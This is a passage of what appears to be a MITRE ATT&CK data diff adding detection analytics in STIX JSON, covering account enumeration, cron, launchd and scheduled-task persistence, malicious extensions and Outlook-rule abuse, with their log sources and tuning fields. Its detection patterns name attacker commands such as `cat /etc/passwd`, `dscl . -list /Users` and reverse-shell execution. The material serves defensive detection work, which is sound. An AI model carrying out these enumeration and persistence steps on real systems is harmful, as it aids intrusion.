"x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "name": "macos:unifiedlog", + "channel": "com.apple.diskarbitration" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "fs:fsusage", + "channel": "open/write/exec calls" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "VolumeNameFilter", + "description": "Known suspicious USB volume labels or types (e.g., NO NAME, SECUREDATA)." + }, + { + "field": "ProcessContext", + "description": "Unusual processes accessing USB drives (e.g., bash, Python, unsigned binaries)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--48a818ac-077b-46ff-b615-bb2958536aef", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0091#AN0250", + "external_id": "AN0250" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0250", + "description": "Behavioral chain involving suspicious use of GetProcAddress and LoadLibrary following memory allocation and manual mapping, often paired with low entropy strings, abnormal API use without static import tables, or delayed module load behaviors.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "API tracing / stack tracing via ETW or telemetry-based EDR" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "APILoadWithoutImport", + "description": "Tunable logic to flag suspicious modules used without static IAT entries" + }, + { + "field": "TimeWindow", + "description": "Correlates module load to suspicious memory allocation or API lookup within timeframe" + }, + { + "field": "EntropyThreshold", + "description": "Used to detect obfuscated strings or hashed function names" + }, + { + "field": "StackTraceFilter", + "description": "Optional filtering of known safe modules or patterns from telemetry" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ce76c289-b810-44cf-b71e-afc76a70f7bf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0092#AN0251", + "external_id": "AN0251" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0251", + "description": "Installation or execution of a malicious browser or IDE extension, followed by abnormal registry entries or outbound network connections from the host application", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "Image", + "description": "Path of browser or IDE launching subprocesses\u2014may vary depending on installed applications" + }, + { + "field": "ParentImage", + "description": "Legitimate parent-child process relationships for known safe extensions" + }, + { + "field": "RegistryPath", + "description": "Expected registry keys under HKCU/HKLM for installed extensions" + }, + { + "field": "TimeWindow", + "description": "Tunable interval to correlate extension install with follow-on C2 traffic" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d8f9ab20-4c82-42fc-9316-91781fa9e5e1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0092#AN0252", + "external_id": "AN0252" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0252", + "description": "Installation of configuration profiles or plist entries associated with malicious or unauthorized browser extensions", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "Execution of 'profiles install -type=configuration'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "Creation of .plist under /Library/Managed Preferences/" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:unifiedlog", + "channel": "Suspicious outbound traffic from browser binary to non-standard domains" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PlistPath", + "description": "Directory path for user-specific extension configuration files" + }, + { + "field": "CommandLine", + "description": "Usage of profiles CLI tool\u2014can be modified by legitimate tools or MDMs" + }, + { + "field": "TimeWindow", + "description": "Correlation window between configuration install and observable extension behavior" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--560f859b-2174-4655-b927-b274ad0bda3f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0092#AN0253", + "external_id": "AN0253" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0253", + "description": "Manual or script-based installation of extension-like modules into browser config directories or IDE plugin paths, followed by suspicious network activity", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "fs:fileevents", + "channel": "creat" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Abnormal browser traffic volume or destination" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DirectoryPath", + "description": "Common plugin or extension directories may vary by distro or browser (e.g., ~/.config/google-chrome/Default/Extensions)" + }, + { + "field": "ExecPath", + "description": "Path to scripting tools used in installation (e.g., bash, curl, unzip)" + }, + { + "field": "TimeWindow", + "description": "Tunable interval between install and first network beacon" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5d024a50-97d8-4b81-8cc6-3db4fff2712c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0093#AN0254", + "external_id": "AN0254" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0254", + "description": "Adversary launches built-in system tools (e.g., whoami, query user, net user) or scripts that enumerate user account information via local execution or remote API queries (e.g., WMI, PowerShell).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessContext", + "description": "Identify if enumeration originates from non-interactive shell or system service" + }, + { + "field": "TimeWindow", + "description": "Tune temporal grouping of enumeration + lateral movement attempts" + }, + { + "field": "UserContext", + "description": "Flag unexpected users issuing enumeration commands (e.g., service accounts)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--73b31f73-bc47-45c1-9c02-fd8eaacb2f9b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0093#AN0255", + "external_id": "AN0255" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0255", + "description": "Adversary runs commands like `whoami`, `id`, `w`, or `cat /etc/passwd` from non-interactive or scripting contexts to enumerate system user details.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLineRegex", + "description": "Tune detection based on argument presence (e.g., `cat /etc/passwd` vs. `cat` alone)" + }, + { + "field": "ShellContext", + "description": "Identify if command issued via cron, systemd, or reverse shell" + }, + { + "field": "AccessFrequency", + "description": "Define how often user/account commands are expected on endpoint" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0979e7f1-9d0a-4549-be8f-88979df5c8d7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0093#AN0256", + "external_id": "AN0256" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0256", + "description": "Adversary uses `dscl`, `who`, or environment variables like `$USER` to identify accounts or sessions via Terminal or malicious LaunchAgents.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "subsystem:com.apple.Terminal" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LaunchAgentPersistence", + "description": "Correlate dscl usage with known persistence vectors" + }, + { + "field": "CommandExecutionPath", + "description": "Distinguish between user-initiated terminal vs. script execution" + }, + { + "field": "UsernameEnumerationPattern", + "description": "Regex-based pattern tuning for `dscl . -list /Users` + grep filters" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a5cc0eac-af18-4fe2-ac06-88a5cfddf014", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0093#AN0257", + "external_id": "AN0257" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0257", + "description": "Adversary executes CLI commands like `show users`, `show ssh`, or attempts to dump AAA user lists from routers or switches.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "networkdevice:syslog", + "channel": "aaa privilege_exec" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:syslog", + "channel": "eventlog" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CLICommandBaseline", + "description": "Expected command set per device role/user role combination" + }, + { + "field": "DeviceRoleSensitivity", + "description": "Correlate access with core vs. edge vs. management plane sensitivity" + }, + { + "field": "CommandFrequencyThreshold", + "description": "Detect burst usage of `show` or `debug` commands by non-admin users" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a0714b4d-5dbf-499e-a737-7b00478267ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0094#AN0258", + "external_id": "AN0258" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0258", + "description": "Detects creation or modification of scheduled tasks using schtasks.exe, at.exe, or COM objects followed by execution of outlier processes tied to the scheduled job.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", + "name": "WinEventLog:Security", + "channel": "EventCode=4698" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=2" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TaskAuthor", + "description": "Unexpected user or account context initiating the task." + }, + { + "field": "CommandLineRegex", + "description": "Suspicious binaries or script usage tied to scheduled tasks." + }, + { + "field": "ExecutionWindow", + "description": "Lookback window to correlate process execution after task registration." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3374a404-06f9-4b32-bf94-5ac688fb9dad", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0094#AN0259", + "external_id": "AN0259" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0259", + "description": "Detects creation or modification of cron jobs via crontab, /etc/cron.* directories, or systemd timer units with execution by unusual users or non-standard intervals.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "write, rename" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", + "name": "linux:osquery", + "channel": "crontab, systemd_timers" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CronSchedulePattern", + "description": "Look for high-frequency or off-hour scheduling patterns." + }, + { + "field": "ServiceUser", + "description": "Unusual users scheduling jobs (e.g., www-data, nobody)." + }, + { + "field": "BinaryEntropy", + "description": "Abnormal scripts or binaries tied to the scheduled job." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8cbda989-39e6-4f9e-8e23-213f92b3479d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0094#AN0260", + "external_id": "AN0260" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0260", + "description": "Detects creation or alteration of LaunchAgents or LaunchDaemons with corresponding plist modification followed by execution of associated binaries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process launch" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "fs:fsusage", + "channel": "disk activity on /Library/LaunchAgents or LaunchDaemons" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", + "name": "macos:osquery", + "channel": "launchd_jobs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PlistLabel", + "description": "Labels not associated with known applications or vendors." + }, + { + "field": "LaunchPath", + "description": "Executable path outside of standard directories (/usr/bin, /Applications)." + }, + { + "field": "JobRunInterval", + "description": "Unexpected periodic job intervals (e.g., every minute)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d20d7cf8-ecac-4011-96e0-3ec862223c11", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0094#AN0261", + "external_id": "AN0261" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0261", + "description": "Detects unusual use of `cron` or `sleep` loops inside containers executing unfamiliar scripts or binaries repeatedly.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "containerd:runtime", + "channel": "file change monitoring within /etc/cron.*, /tmp, or mounted volumes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ContainerLabel", + "description": "Labels or tags indicating dev/test containers executing scheduled tasks." + }, + { + "field": "ScriptFrequency", + "description": "Repetitive invocation pattern within short container lifespan." + }, + { + "field": "ImageSource", + "description": "Unexpected container image sources creating cron entries." + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e5adcc7e-5d68-4080-bb87-e901f297485d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0094#AN0262", + "external_id": "AN0262" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0262", + "description": "Detects modification of ESXi cron jobs, local.sh scripts, or scheduled API calls to persist custom binaries or shell scripts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", + "name": "esxi:vmkernel", + "channel": "Startup script and task execution logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:hostd", + "channel": "shell access or job registration" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "esxi:cron", + "channel": "manual edits to /etc/rc.local.d/local.sh or cron.d" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "StartupScriptName", + "description": "Filename not matching expected initialization scripts." + }, + { + "field": "ExecutionContext", + "description": "Commands run from unexpected SSH sessions or elevated shells." + }, + { + "field": "PersistenceInterval", + "description": "Rare scheduling triggers (e.g., @reboot + hourly repetition)." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--22cba5f6-b3d5-4a1a-9275-ed7db0bd4c7c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0095#AN0263", + "external_id": "AN0263" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0263", + "description": "Adversary uses a tool like Ruler or MFCMapi to create a malicious Outlook rule that triggers execution upon receipt of a crafted email. On email delivery, Outlook executes the rule, resulting in code execution (e.g., launching mshta.exe or PowerShell). Outlook spawns a non-standard child process, often unsanctioned, without user interaction.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:Application", + "channel": "Outlook rule execution failure or abnormal rule execution context" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "PowerShell launched from outlook.exe or triggered without user invocation" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ChildProcessName", + "description": "Outlook may spawn mshta.exe, powershell.exe, or wscript.exe depending on attacker payload" + }, + { + "field": "RuleTriggerCondition", + "description": "Rule execution may depend on message subject, sender, or message header content" + }, + { + "field": "ParentProcessName", + "description": "Legitimate Outlook activity should not spawn scripting or interpreter processes" + }, + { + "field": "TimeWindow", + "description": "Execution may occur with delay after message receipt or folder interaction" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8c0c52d0-7357-4073-84fc-d262632d268f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0095#AN0264", + "external_id": "AN0264" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0264", + "description": "Adversary adds a new Outlook rule with modified or obfuscated PR_RULE_MSG_NAME and PR_RULE_MSG_PROVIDER attributes using MFCMapi or Ruler. Rule is triggered when email arrives, executing embedded or external code. Mailbox audit logs or Unified Audit Log shows automated rule-triggered action without user interaction.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "Creation or modification of inbox rule outside of normal user behavior" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "m365:messagetrace", + "channel": "Inbound email matches crafted rule trigger pattern tied to persistence logic" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuditPolicyScope", + "description": "Mailbox rule changes may not be captured unless advanced audit logging is enabled" + }, + { + "field": "RuleProviderName", + "description": "Malicious rules may use spoofed or non-standard PR_RULE_MSG_PROVIDER values" + }, + { + "field": "TriggerSubjectKeywords", + "description": "Triggering emails may contain uncommon but benign-looking subjects" + }, + { + "field": "UserContext", + "description": "Target user account may be inactive or high-value (e.g., VIP, service account)" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": 